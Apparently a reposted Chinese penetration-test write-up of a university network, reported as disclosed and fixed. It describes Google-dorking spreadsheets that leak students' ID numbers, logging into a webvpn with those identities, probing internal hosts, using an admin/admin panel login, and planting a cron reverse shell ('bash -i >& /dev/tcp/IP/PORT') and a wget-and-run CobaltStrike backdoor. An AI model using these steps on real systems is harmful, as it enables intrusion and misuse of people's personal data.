记一次edu漏洞挖掘——从信息泄露到内网滲透

x00 前言

能完成这次渗透纯属是信息收集做到位了。很多其实都是分散的信息,在某一次关键点集合起来就有可能拿到权限。这个漏洞已提交补天并修复完成了。

0x01 信息收集

一、发现敏感信息

此次使用的方法:

  • Google Hack
  • Github Hack(没有收获)
  • 前端信息泄露
  • ARL 灯塔资产收集(子域名、IP、端口服务、文件泄露)

通过使用 filetype:xls site:xxx.edu.cn 身份 去搜索发现了不少带身份证表字段的表,但是是否真的有敏感信息还要一个个去下载审查。

20220309154707-1ec8552c-9f7d-1

发现一个标题为名单,我猜测肯定有信息,下载后打开。

20220309154735-2f088b64-9f7d-1

二、发现入口点

在 ARL 资产列表中有一个 webvpn,我心想这不就是内网入口吗?

20220309160738-fca4077c-9f7f-1
20220309160826-1930094a-9f80-1

发现需要身份证和学号登陆,这些都可以从刚才那张表拿到。随便挑一个登陆。

20220309160933-40c9aab0-9f80-1

发现只有一个应用能够点击,直接访问后观察 URl 发现是有规律的。

三、vpn 分配

http://xxx-xxx-edu-cn-s.xxx.xxx.edu.cn:8118/

结构应当是这样的

http://[访问地址].xxx.xxx.edu.cn:8118

可以变化的是访问地址,那么为了验证我的猜想,直接返回系统界面。

20220309161031-637934a4-9f80-1

将这个地址改变成:2021-ip138-com 去做个拼接

20220309161220-a4a51790-9f80-1

发现完全可行。

四、前端信息泄露

在抓包 www.xxx.edu.cn 官网的时候我发现了一处内网地址

20220309161734-5f79488e-9f81-1

五、尝试访问

10.30.252.33,我再次拼接。

20220309161850-8d1ecdb8-9f81-1

访问失败了,但是我猜测这个应当是提供校园网站服务器主机的网段。尝试修改 C段访问。

20220309162441-5dd05274-9f82-1

当我访问到 10.30.252.23 的时候发现是能够正常访问的,也就是说可以进行内网探测,但是似乎没发指定端口和 https 访问。没有头绪,只能 Google 看看有没有其他地址记录的先例。

site:xxx.xxx.edu.cn:8118

发现一处地址 http://xxx-xxx-edu-cn-8090-p-s.xxx.xxx.edu.cn:8118/surveydetail.aspx?pid=5&cid=397

原来我们直接使用 -8080-p 即可指定端口,而 -s 则是指定 https 访问。
如此一来我们可以进行手工内网探测了。

0x02 内网 shell

在进过一番测试后,找到了一个宝塔地址。

20220309162704-b31ca76e-9f82-1

直接上手弱口令

账号密码
adminadmin

成功进入后,去任务计划

20220309162755-d1978574-9f82-1

反弹shell 安排上 bash -i >& /dev/tcp/IP/PORT 0>&1

上去之后再下载 VPS 上的 CobaltStrike (Cross2插件) Linux 后门

wget http://IP:PORT/SHELLCODE && chmod +x SHELLCODE && ./SHELLCODE

服务器成功上线。

0x03 总结

渗透最为重要的一环也是渗透的起点,那就是对于目标的信息收集。一些毫不起眼的数据往往能达到突破的作用,这整一套下来不是偶然而是必然。

本文转载自https://xz.aliyun.com/t/11000,只做本站测试使用,本文观点不代表安强科技社区立场。

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年3月16日 上午7:10
下一篇 2022年3月16日 上午9:44

相关推荐

发表回复

您的电子邮箱地址不会被公开。